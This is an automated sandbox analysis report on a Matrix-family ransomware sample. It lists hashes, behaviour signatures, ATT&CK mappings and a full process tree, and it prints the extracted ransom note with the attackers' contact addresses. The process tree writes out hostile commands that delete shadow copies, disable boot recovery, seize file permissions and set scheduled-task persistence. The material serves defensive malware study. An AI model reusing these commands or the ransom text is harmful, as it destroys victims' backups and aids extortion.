Overview

overview

10

Static

static

3

FoxRansomw...65.exe

windows7-x64

10

FoxRansomw...65.exe

windows10-2004-x64

10

FoxRansomw...a7.exe

windows7-x64

10

FoxRansomw...a7.exe

windows10-2004-x64

10

FoxRansomw...20.exe

windows7-x64

10

FoxRansomw...20.exe

windows10-2004-x64

10

FoxRansomw...0b.exe

windows7-x64

10

FoxRansomw...0b.exe

windows10-2004-x64

10

FoxRansomw...53.exe

windows7-x64

10

FoxRansomw...53.exe

windows10-2004-x64

10

FoxRansomw...b1.exe

windows7-x64

10

FoxRansomw...b1.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240319-en
  • resource tags

    arch:x64arch:x86image:win7-20240319-enlocale:en-usos:windows7-x64system
  • submitted
    03-04-2024 17:42

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe

  • Size

    1.2MB

  • MD5

    607d292bdcdde297252e002e613282ae

  • SHA1

    0161d2dd582d064f7e7f50ccb43478ff0884916a

  • SHA256

    0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65

  • SHA512

    2bdc2ff857f9f52aac5071d3a695f7baf822a971969ba263ad03769c41af7916b558bada6bfe76fe78f730235a4ca5d2dd1cf3eaa2a59c5efef06af0a798acb8

  • SSDEEP

    24576:J/SA+2lraRrjSJR5ezmT1dM9bB5slYQt2e8F/KpXcd:PXlOslYQt+5

Score
10/10
matrixdiscoveryevasionpersistenceransomwarespywarestealerupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Extracted

Path

C:\Program Files\Google\Chrome\Application\#ANN_README#.rtf

Ransom Note
{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected]\par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 1873BEEBCBBC38B5\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cUPmiEDYswzWC3ZmbtybDJeUNHqSpERL1\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 1873BEEBCBBC38B5\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 94HBQhD2\cf0\f1\fs32\lang1049\par \par }
Emails
URLs

https://bitmsg.me

https://bitmsg.me/users/sign_up

https://bitmsg.me/users/sign_in

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops desktop.ini file(s) 40 IoCs
  • Enumerates connected drives 3 TTPs 44 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
    "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe"
    1⤵
    • Matrix Ransomware
    • Loads dropped DLL
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:2884
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NW2YkN2e.exe"
      2⤵
        PID:2808
      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NW2YkN2e.exe
        "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NW2YkN2e.exe" -n
        2⤵
        • Executes dropped EXE
        PID:1316
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\oTozS4BT.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:280
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2720
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\9a058u6h.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1960
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\9a058u6h.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:1520
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:2016
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:460
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\CyMBvuuh.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1724
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\CyMBvuuh.vbs"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:668
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\zUDnRfwt.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                  PID:2224
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\zUDnRfwt.bat" /sc minute /mo 5 /RL HIGHEST /F
                    5⤵
                    • Creates scheduled task(s)
                    PID:3448
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                  4⤵
                    PID:2848
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /Run /I /tn DSHCA
                      5⤵
                        PID:1632
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LHDitdCO.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf""
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1744
                  • C:\Windows\SysWOW64\attrib.exe
                    attrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"
                    3⤵
                    • Views/modifies file attributes
                    PID:1144
                  • C:\Windows\SysWOW64\cacls.exe
                    cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" /E /G Admin:F /C
                    3⤵
                      PID:940
                    • C:\Windows\SysWOW64\takeown.exe
                      takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"
                      3⤵
                      • Modifies file permissions
                      PID:1992
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c WKdiOIWX.exe -accepteula "SignHere.pdf" -nobanner
                      3⤵
                      • Loads dropped DLL
                      PID:3216
                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\WKdiOIWX.exe
                        WKdiOIWX.exe -accepteula "SignHere.pdf" -nobanner
                        4⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3260
                        • C:\Users\Admin\AppData\Local\Temp\WKdiOIWX64.exe
                          WKdiOIWX.exe -accepteula "SignHere.pdf" -nobanner
                          5⤵
                          • Drops file in Drivers directory
                          • Sets service image path in registry
                          • Executes dropped EXE
                          • Enumerates connected drives
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious behavior: LoadsDriver
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3544
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {0FDC5D27-1409-4293-8255-0C08C99A396A} S-1-5-21-2610426812-2871295383-373749122-1000:UEITMFAB\Admin:Interactive:[1]
                  1⤵
                    PID:2252
                    • C:\Windows\SYSTEM32\cmd.exe
                      C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\zUDnRfwt.bat"
                      2⤵
                        PID:3340
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin Delete Shadows /All /Quiet
                          3⤵
                          • Interacts with shadow copies
                          PID:1508
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic SHADOWCOPY DELETE
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3332
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {default} recoveryenabled No
                          3⤵
                          • Modifies boot configuration data using bcdedit
                          PID:3400
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {default} bootstatuspolicy ignoreallfailures
                          3⤵
                          • Modifies boot configuration data using bcdedit
                          PID:3588
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN DSHCA /F
                          3⤵
                            PID:3080
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3108

                      Network

                      MITRE ATT&CK Enterprise v15

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Scheduled Task/Job

                      1
                      T1053

                      Persistence

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Scheduled Task/Job

                      1
                      T1053

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Scheduled Task/Job

                      1
                      T1053

                      Defense Evasion

                      File and Directory Permissions Modification

                      1
                      T1222

                      Hide Artifacts

                      1
                      T1564

                      Hidden Files and Directories

                      1
                      T1564.001

                      Indicator Removal

                      2
                      T1070

                      File Deletion

                      2
                      T1070.004

                      Modify Registry

                      2
                      T1112

                      Credential Access

                      Unsecured Credentials

                      1
                      T1552

                      Credentials In Files

                      1
                      T1552.001

                      Discovery

                      Peripheral Device Discovery

                      1
                      T1120

                      Query Registry

                      2
                      T1012

                      System Information Discovery

                      2
                      T1082

                      Lateral Movement

                      Collection

                      Data from Local System

                      1
                      T1005

                      Command and Control

                      Exfiltration

                      Impact

                      Defacement

                      1
                      T1491

                      Inhibit System Recovery

                      3
                      T1490

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Program Files\Google\Chrome\Application\#ANN_README#.rtf
                        Filesize

                        8KB

                        MD5

                        edacc7a64f8a0c667fddfd96ae889635

                        SHA1

                        8c2ab940f91c9beaf5f846dda5a9a7e215ae4bf8

                        SHA256

                        7f2c1352f6cb58aacb25f6b551c951654317a13bb8cecf984037169a7aa32952

                        SHA512

                        0e1c36c30227f2e40dc457555e0d00d53c1dff9b1ab33c33739784fd7e816543128ab8a25c34852f371c46bfae243273528e1886d73ee83dba8707ebe7dbf7f8

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LHDitdCO.bat
                        Filesize

                        246B

                        MD5

                        d5697f2fa3ba6948e8c901418ac6da7b

                        SHA1

                        540e1f43a12f368d4178093bfeac152b2b45af95

                        SHA256

                        f00db7ad3eb5f6be4c2cc17d3157434ad10fbb75e1b11b3831b1f7876f6c8b0c

                        SHA512

                        72501176da11bced8deb62d2b9de0671ff36dfd8c808fa700ffc0f2f28992c637055aea53724bfab8d2aedfd874b4ea49e34cc9ad853927089eceecdcbe3c041

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\WKdiOIWX.exe
                        Filesize

                        181KB

                        MD5

                        2f5b509929165fc13ceab9393c3b911d

                        SHA1

                        b016316132a6a277c5d8a4d7f3d6e2c769984052

                        SHA256

                        0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                        SHA512

                        c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_1873BEEBCBBC38B5.txt
                        Filesize

                        35KB

                        MD5

                        d239f36c80f87232ee2f76a0844057cb

                        SHA1

                        bd97b73c57503ac0bb2048124cf60112e555daf5

                        SHA256

                        c2b52d1e2d92fd62052d27f2beed3b3c73775e874199254040a4913500cfe9c8

                        SHA512

                        4b3b143558b89019bdd37f11ef742523ccf9ae17897b324e93900249c1c54af45fbfba6b5f81ace1d5b27d8e1a7fde74c5c71d96334d090646bf6c7300f449d9

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\oTozS4BT.txt
                        Filesize

                        16B

                        MD5

                        17d432845dc7cb55ac69d75cf72f7f5d

                        SHA1

                        7f3b6e6ab91b3a13c0611fe6e95befab691d5cc3

                        SHA256

                        a7cd0523e7aca4fd8db39d49ce1fe6198b92956509bd360dae646798c2a251a4

                        SHA512

                        25054cd4ec03675f28d0aa1aa09b691beacb9f9a1cf538179777d74a713e97457c39d56c787becc378fcdc31c62cbdf56546f8cee41f5f99f11b8798663104e0

                        Download Submit

                      • C:\Users\Admin\AppData\Roaming\CyMBvuuh.vbs
                        Filesize

                        260B

                        MD5

                        5519618c9c98a17742a21ded85ce25b5

                        SHA1

                        0065c42a17272cf0cf0feed9505ab6f36bb87a68

                        SHA256

                        a56eece9c1e6b2e77fb74a9877973c5ac6a7a8c62c7855e0d1641b1ed552abb3

                        SHA512

                        e396236813733f3868788887cfdba8c05c32cf69ac13d18ef1614444e9235e43ef99f2db05691c434fb42342dc54ca73d9865d52f8e4903825a7fed63f69ca6b

                        Download Submit

                      • C:\Users\Admin\AppData\Roaming\zUDnRfwt.bat
                        Filesize

                        265B

                        MD5

                        b4c20982fdf5cb5afbe0641a66592413

                        SHA1

                        c5d13315c560af2830ef3355306bd0700e15e6bd

                        SHA256

                        9ac9b6e18178241a5697049cff1f68cd6c26d58adb0fe849d33fc5c1392c4a61

                        SHA512

                        35af6ecdbb5ad1957954739e7e874e9775d95f5a43c99416993749afbcf3e5ce9ee5d6a9b717e0daa06e02c36aee557ec17a1d3a9698b2aaca9de08584a692d7

                        Download Submit

                      • \Users\Admin\AppData\Local\Temp\FoxRansomware\NW2YkN2e.exe
                        Filesize

                        1.2MB

                        MD5

                        607d292bdcdde297252e002e613282ae

                        SHA1

                        0161d2dd582d064f7e7f50ccb43478ff0884916a

                        SHA256

                        0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65

                        SHA512

                        2bdc2ff857f9f52aac5071d3a695f7baf822a971969ba263ad03769c41af7916b558bada6bfe76fe78f730235a4ca5d2dd1cf3eaa2a59c5efef06af0a798acb8

                        Download Submit

                      • \Users\Admin\AppData\Local\Temp\WKdiOIWX64.exe
                        Filesize

                        221KB

                        MD5

                        3026bc2448763d5a9862d864b97288ff

                        SHA1

                        7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                        SHA256

                        7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                        SHA512

                        d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

                        Download Submit

                      • memory/1316-8-0x0000000000400000-0x000000000053F000-memory.dmp

                        Filesize

                        1.2MB

                        Download

                      • memory/2720-12-0x0000000074360000-0x000000007490B000-memory.dmp

                        Filesize

                        5.7MB

                        Download

                      • memory/2720-14-0x00000000026C0000-0x0000000002700000-memory.dmp

                        Filesize

                        256KB

                        Download

                      • memory/2720-13-0x00000000026C0000-0x0000000002700000-memory.dmp

                        Filesize

                        256KB

                        Download

                      • memory/2720-11-0x0000000074360000-0x000000007490B000-memory.dmp

                        Filesize

                        5.7MB

                        Download

                      • memory/2720-15-0x0000000074360000-0x000000007490B000-memory.dmp

                        Filesize

                        5.7MB

                        Download

                      • memory/2884-141-0x0000000000400000-0x000000000053F000-memory.dmp

                        Filesize

                        1.2MB

                        Download

                      • memory/2884-9297-0x0000000000400000-0x000000000053F000-memory.dmp

                        Filesize

                        1.2MB

                        Download

                      • memory/2884-9309-0x0000000000400000-0x000000000053F000-memory.dmp

                        Filesize

                        1.2MB

                        Download

                      • memory/2884-9380-0x0000000000400000-0x000000000053F000-memory.dmp

                        Filesize

                        1.2MB

                        Download

                      • memory/3216-1260-0x0000000001FD0000-0x0000000002047000-memory.dmp

                        Filesize

                        476KB

                        Download

                      • memory/3216-9310-0x0000000001FD0000-0x0000000002047000-memory.dmp

                        Filesize

                        476KB

                        Download

                      • memory/3260-1271-0x0000000000400000-0x0000000000477000-memory.dmp

                        Filesize

                        476KB

                        Download

                      • memory/3260-9298-0x0000000000400000-0x0000000000477000-memory.dmp

                        Filesize

                        476KB

                        Download